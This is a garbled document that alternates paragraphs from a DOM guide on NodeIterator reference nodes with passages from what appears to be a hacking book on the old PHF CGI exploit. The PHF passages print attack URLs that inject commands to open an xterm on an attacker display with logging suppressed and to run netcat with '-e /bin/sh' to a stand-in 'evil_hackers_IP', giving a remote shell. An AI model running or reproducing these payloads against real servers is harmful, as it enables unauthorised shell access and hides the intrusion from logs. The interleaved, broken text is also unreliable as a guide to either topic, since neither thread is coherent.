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How NodeIterators Respond to Document Changes The contents of a document can change while a NodeIterator is active, so it must have a well-defined set of rules that govern its behavior as nodes are added to or removed from the document tree According to the DOM specification, document changes do not invalidate a NodeIterator In fact, the only thing that invalidates an iterator is calling its detach() method To maintain a consistent state, NodeIterators use their reference nodes to determine what happens when the document tree structure changes Generally speaking, iterators always try to stay close to their reference node Reference nodes are selected based upon whether an iterator s position is before or after its reference node If a document tree s changes don t involve the reference node, the iterator doesn t have to worry about anything Consider the following examples, in which nodes are inserted into and removed from the document tree in Figure 3-10 First, here s a node being inserted into the tree between node2 and node3 when node2 is the reference node:



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Because the attackers are able to execute commands on the web server via the PHF attack, one of the first techniques to obtain interactive shell access is to take advantage of the UNIX X Window System X is the windowing facility that allows many different programs to share a graphical display X is extremely robust and allows X-based client programs to display their output to the local X server or to a remote X server running on ports 6000 6063 One of the most useful X clients to attackers is xterm Xterm is used to start a local command shell when running X However, by enabling the display option, attackers can direct a command shell to the attackers X server Presto, instant shell access Let s take a look at how attackers might exploit PHF to do more than just display the contents of the passwd file Recall from earlier the original PHF exploit:

The iterator always stays close to its reference node, so the insert takes place between the iterator s position and node3

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Since attackers are able to execute remote commands on the web server, a slightly modified version of this exploit will grant interactive shell access All that attackers need to do is change the command that is executed from /bin/cat /etc/passwd to /usr/X11R6/bin/xterm ut display evil_hackers_IP:00 as follows:

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/cgi-bin/phf Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20display%20evil_hackers_IP:00

In this case, the reference node is not affected, so there is no change to the iterator or its position When the reference node itself is the one being removed from the tree, a new reference node must be selected The way this is done depends upon the current position of the iterator with respect to the current reference node Suppose, for example, that node3 is the current reference node, and the iterator s position is between node3 and node4, as in the following example (this is usually what happens when nextNode() is called)

The remote web server will then execute an xterm and display it back to the evil_hacker s X server with a window ID of 0 and screen ID of 0 The attacker now has total control of the system Since the ut option was enabled, this activity will not be logged by the system Additionally, the %20 is the hex equivalent of a space character used to denote spaces between commands (man ascii for more information) Thus, the attackers were able to gain interactive shell access without logging in to any service on the web server You will also notice the full path of the xterm binary was used The full path is usually included because the PATH environment variable may not be properly set when the exploit is executed Using a fully qualified execution path ensures the web server will find the xterm binary

If node3 is removed from the document, a new reference node must be selected Because the iterator s position is currently after the reference node, it will remain so when the new reference node is selected Node2 is the nearest node that precedes the iterator s position, so it is selected as the new reference node, as illustrated here

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Once we have the listener enabled, we must execute the following command on the remote system:

This is the way it looks when executed via the PHF exploit:

If, on the other hand, the iterator s position is before the current reference node (between node2 and node3), as it would be if previousNode() had just been called, and the reference node were removed, the nearest node that is after the iterator s position would be selected as the new reference node In this case, node4 would become the new reference node, as shown next

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/cgi-bin/phf Qalias=x%0a/bin/nc%20-e%20/bin/sh%20evil_hackers_IP%2080

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